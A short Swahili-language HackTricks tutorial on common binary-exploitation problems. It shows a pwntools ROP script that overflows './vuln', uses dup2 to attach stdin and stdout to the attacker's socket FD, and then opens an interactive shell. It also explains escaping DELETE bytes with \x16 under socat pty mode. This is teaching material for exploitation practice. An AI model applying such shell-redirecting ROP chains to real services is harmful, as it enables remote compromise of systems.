Common Exploiting Problems

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FDs katika Utekelezaji wa Mbali

Wakati wa kutuma exploit kwa seva ya mbali inayopiga system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva, na /bin/sh itatarajia pembejeo kutoka stdin (FD: 0) na itachapisha matokeo katika stdout na stderr (FDs 1 na 2). Hivyo, mshambuliaji hataweza kuingiliana na shell.

Njia moja ya kutatua hii ni kudhani kwamba wakati seva ilianza iliunda FD nambari 3 (kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika FD nambari 4. Kwa hivyo, inawezekana kutumia syscall dup2 kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya muunganisho wa mshambuliaji) ili iwezewezekana kuwasiliana na shell mara itakapotekelezwa.

Mfano wa exploit kutoka hapa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Kumbuka kwamba socat tayari inahamisha stdin na stdout kwa socket. Hata hivyo, hali ya pty inasababisha wahusika wa DELETE. Hivyo, ikiwa utatuma \x7f ( DELETE -) it afuta wahusika wa awali wa exploit yako.

Ili kupita hili, mhusika wa kutoroka \x16 lazima aongezwe kabla ya \x7f yoyote inayotumwa.

Hapa unaweza kupata mfano wa tabia hii.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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